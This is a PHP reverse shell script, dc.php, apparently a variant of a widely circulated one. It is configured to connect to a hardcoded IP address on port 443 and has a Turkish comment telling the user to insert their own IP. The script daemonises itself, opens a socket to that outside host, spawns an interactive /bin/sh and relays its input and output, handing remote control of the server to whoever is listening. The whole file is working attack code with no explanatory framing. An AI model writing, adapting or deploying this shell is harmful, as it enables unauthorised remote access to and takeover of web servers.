dc.php

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip =  '95.7.40.202';  // BURAYA KENDÝ ÝP'niz..
$port = 443;       // CHANGE  THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell  = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
//  Daemonise ourself if possible to avoid zombies later
//

//  pcntl_fork is hardly ever available, but will allow us to daemonise
//  our php process and avoid zombies.  Worth a try...
if  (function_exists('pcntl_fork')) {
   // Fork and have the parent  process exit
   $pid = pcntl_fork();

   if ($pid == -1) {
       printit("ERROR: Can't fork");
      exit(1);
   }

    if ($pid) {
      exit(0);  // Parent exits
   }

   //  Make the current process a session leader
   // Will only succeed if  we forked
   if (posix_setsid() == -1) {
      printit("Error:  Can't setsid()");
      exit(1);
   }

   $daemon = 1;
}  else {
   printit("WARNING: Failed to daemonise.  This is quite  common and not fatal.");
}

// Change to a safe directory
chdir("/");

//  Remove any umask we inherited
umask(0);

//
// Do the  reverse shell...
//

// Open reverse connection
$sock =  fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
    printit("$errstr ($errno)");
   exit(1);
}

// Spawn shell  process
$descriptorspec = array(
   0 => array("pipe", "r"),   // stdin is a pipe that the child will read from
   1 =>  array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will  write to
);

$process = proc_open($shell, $descriptorspec,  $pipes);

if (!is_resource($process)) {
   printit("ERROR:  Can't spawn shell");
   exit(1);
}

// Set everything to  non-blocking
// Reason: Occsionally reads will block, even though  stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1],  0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock,  0);

printit("Successfully opened reverse shell to $ip:$port");

while  (1) {
   // Check for end of TCP connection
   if (feof($sock)) {
       printit("ERROR: Shell connection terminated");
      break;
    }

   // Check for end of STDOUT
   if (feof($pipes[1])) {
       printit("ERROR: Shell process terminated");
      break;
   }

    // Wait until a command is end down $sock, or some
   // command  output is available on STDOUT or STDERR
   $read_a = array($sock,  $pipes[1], $pipes[2]);
   $num_changed_sockets =  stream_select($read_a, $write_a, $error_a, null);

   // If we can  read from the TCP socket, send
   // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK  READ");
      $input = fread($sock, $chunk_size);
      if  ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

   // If we can read from the process's STDOUT
   // send  data down tcp connection
   if (in_array($pipes[1], $read_a)) {
       if ($debug) printit("STDOUT READ");
      $input =  fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT:  $input");
      fwrite($sock, $input);
   }

   // If we can  read from the process's STDERR
   // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug)  printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
       if ($debug) printit("STDERR: $input");
      fwrite($sock,  $input);
   }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

//  Like print, but does nothing if we've daemonised ourself
// (I can't  figure out how to redirect STDOUT like a proper daemon)
function  printit ($string) {
   if (!$daemon) {
      print "$string\n";
    }
}

?>